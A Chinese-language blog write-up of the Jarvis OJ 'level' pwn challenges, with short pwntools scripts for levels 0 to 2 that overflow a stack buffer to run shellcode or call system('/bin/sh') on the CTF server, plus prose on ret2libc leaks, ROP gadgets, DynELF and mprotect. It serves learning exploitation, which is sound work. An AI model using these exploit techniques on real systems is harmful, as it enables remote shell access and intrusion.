Pwn level題目

level題目 參考了好多大佬的博客 總結如下:

level0

pwn一般套路
1.找到棧溢出地址(就是搞事情的地址),基本上都是buf的地址,這個地址需要 用pwntools中的p32或p64進行轉換,(若程序是32位的就用p32)才能pwntools中的sendline發送到遠程連接
2.構建shellcode,用一句話就行shellcode = asm(shellcraft.sh())
3.構建payload,payload的基本構建:payload=shellcode+’a’*一個長度+p32(buf_addr),次序一定不能亂
4.最後就可以發送payload,進行交互,得到shell的控制權,然後ls ,cat flag

level0的腳本如下:

from pwn import *
s_addr=0x400596
p=remote(“pwn2.jarvisoj.com”,9881)
p.sendline(‘a’*0x80+‘a’*8+p64(s_addr))
p.interactive()

level1

level1的腳本如下:

from pwn import *
context(log_level = ‘debug’, arch = ‘i386’, os=‘linux’)
shellcode = asm(shellcraft.sh()) //可以使用checksec 查看一下有沒有被保護
p = remote(‘pwn2.jarvisoj.com’,9877)
text = p.recvline()[14: -2] //找到buf的位置
buf_addr = int(text, 16) //這裏的text爲buf的地址,只不過是字符型的,需要 用16進制的方法轉化爲int型
payload = shellcode + ‘a’ * (0x88 + 0x4 - len(shellcode)) +p32(buf_addr)
p.send(payload)
p.interactive()
p.close()

level2

level2的腳本如下:

from pwn import*
system_addr=0x08048320
p =remote(‘pwn2.jarvisoj.com’,‘9878’)
sh_addr=0x0804A024
payload=‘a’*(0x88+0x4)+p32(system_addr)+p32(0)+p32(sh_addr) //注意調用一個函數結束後一定要返回 p32(0)就是system函數的返回地址
p.send(payload)
p.interactive()
p.close()

首先,我們先checksec 查看一下有沒有被保護
在這裏插入圖片描述因爲開啓了nx,所以這個題目我們就不可以用shellcode來做了
這次system函數又出現了。於是想着是否可以通過控制調用system(“/bin/sh”)得到shell,將返回地址用system的地址覆蓋,所以找到system的地址

在這裏插入圖片描述將傳入參數設置成”/bin/sh”,用ida查找了一下字符串,剛好發現了”/bin/sh”,於是記錄下地址
在這裏插入圖片描述
在這裏插入圖片描述
有了system和\bin\sh的地址後,就能構造payload了

level3

查詢保護checksec level3 只開啓了NX保護 很明顯的棧溢出漏洞,但是沒有system函數和/bin/sh字符串了
libc是Linux下的ANSI C的函數庫。ANSI C是基本的C語言函數庫,包含了C語言最基本的庫函數。
程序開始運行時,會把整個libc映射到內存中,此後在程序調用相關庫函數時,會依據plt-got表的機制,將所需的庫函數加載到內存空間的某個虛擬內存地址,然後調用時就會通過plt_got表輾轉跳至真正的函數內存地址處完成功能

在這裏插入圖片描述

進去之後

在這裏插入圖片描述

這就是plt表,再跟一下就進了got表項:

在這裏插入圖片描述

雙擊跟一下後面的offset,發現是有一個靜態的初始地址的,然而顯然這不是真正的函數地址:

在這裏插入圖片描述

也就是說,不考慮第一次,GOT表存的就是真實地址!!!

先通過write泄露某函數got表的值(即某函數真實VA),然後在libc中找到system和"/bin/sh"和某函數地址,算出偏移,根據平行的特性就可以計算出真實的system和"/bin/sh"的地址啦~
既然write()函數實現是在libc當中,那我們調用的write-plt()函數爲什麼也能實現write()功能呢?
這是因爲linux採用了延時綁定技術,當我們調用write-plit()的時候,系統會將真正的write()函數地址link到got表的write.got中,然後write-plit()會根據write.got
跳轉到真正的write()函數上去。

   write函數 跟進三個變量

在這裏插入圖片描述在這裏插入圖片描述bss段 是存放未初始化數據的地方 我們可以改寫

注意,需要兩次溢出!第一次溢出劫持到write泄露地址,write執行完後還要能回到源溢出函數(構造棧),然後進行第二次溢出拿shell

level3的腳本如下:

在這裏插入圖片描述

level2x64

首先用checksec查一下保護,和level2一樣。
那麼溢出思路也和32位的差不多,唯一不同的是,64位程序在調用system函數時,參數的傳遞方式和32位不一樣,32位是通過棧傳參,而64位通過edi寄存器傳參,所以這時我們的思路變成如何覆蓋edi的值,通過基本rop就可以做到,利用程序自己的帶有pop rdi;pop rdi語句是將當前的棧頂元素傳遞給edi,在執行pop語句時,只要保證棧頂元素是”/bin/sh”的地址,並將返回地址設置爲system。
所以這道題目的關鍵就是找到system bin 和rop的地址。載構造payload就可以了
在這裏插入圖片描述
在這裏插入圖片描述
通過ropgadget去找pop edi;ret的地址。
那我們就要用到一個小工具,ropgadget來找到我們需要的rop鏈。
ropgadget可以在彙編語言裏面搜索我們需要的字符串或者命令。
在這裏插入圖片描述都找到了之後我們就可以構造payload了
在這裏插入圖片描述

level3x64

在這裏插入圖片描述

按照參數傳遞約定,write函數需要三個參數,需要rdi,rsi,rdx三個寄存器,但是沒有發現所需要的第三個寄存器rdx
所以可以先跳過第三個參數(讀入長度) 
寫好exp之後可以調試下,查看在調用函數之前,rdx的值,如果rdx值>=8,那麼就不需要處理
在這裏插入圖片描述

根據網上wp,gdb在read處下斷,驗證rdx在此時等於0x200,只要大於8就可以。對於這點,我是這麼理解的:我們是在vul函數裏寫入數據的,讀取數據時調用了read(0, &buf, 0x200uLL),將rdx賦值0x200,後面直接就溢出到我們構造的棧了,沒有修改rdx寄存器的值了,所以不用修改。

在這裏插入圖片描述

level4

這次並沒有給libc的文件,這時候我們就要用到DynELF,這個模塊的原理還是不太清楚(玄學)。利用write函數來泄露system的地址,通過泄露打印出system的地址,總之利用這個模塊可以找到system的地址,但是找不到”/bin/sh”這個字符串位置,但是我們可以控制read函數,所以可以通過調用read函數,將”bin/sh”寫入到bss段中,這樣就得到了bin函數。於是所有條件都齊了,寫得腳本。

在這裏插入圖片描述1.ELF函數:創建並返回一個elf文件的內存映射對象
2.DynELF函數:核心函數,第一個參數是一個函數指針,指向一個規範內存泄露函數leak;第二個參數(可選)是一個elf對象,有了它可以使效率更高

DynELF函數具析:
通過配合調用leak分析其泄露值以及分析傳入的elf對象,可以自動地resolve出所有的函數、數據地址,存儲在一個vector向量數組中並返回這個向量數組

3.lookup函數:可看作向量數組對象的一個方法,按傳入的索引項,搜索相應項值,得到服務器端的真實system地址

level5

首先去看看這個mmap函數和mprotect函數是幹啥的。 void* mmap(void* addr, size_t len, int
port, int flag, int filedes, off_t off) int mprotect(void* addr,
size_t len, int port)
簡單來說mmap函數創建一塊內存區域,將一個文件映射到該區域,進程可以像操作內存一樣操作文件。mprotect函數可以改變一塊內存區域的權限(以頁爲單位)。至於mmap函數沒有想到怎麼去利用,而mprotect函數是可以改變一個段的權限的,可以利用這一特點將bss段改爲可執行,將shellcode寫到bss段,再想辦法執行即可。
首先,要使用mprotect函數,依然需要知道它在內存中的地址,通過level3的方法可以得到。
需要調用這個mprotect函數,我們發現它有三個參數,第一個是要設置的地址(edi),第二個是設置的長度(esi),第三個是權限值(edx),但是我們在level3中發現簡單的gadgets並沒有pop
edx,這時候,我們可以利用x64下的__libc_scu_init中的gadgets。

關於通用gadget可以參考如下幾篇文章:
https://blog.csdn.net/github_36788573/article/details/80178146
https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42530&ctid=157

在這裏插入圖片描述在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章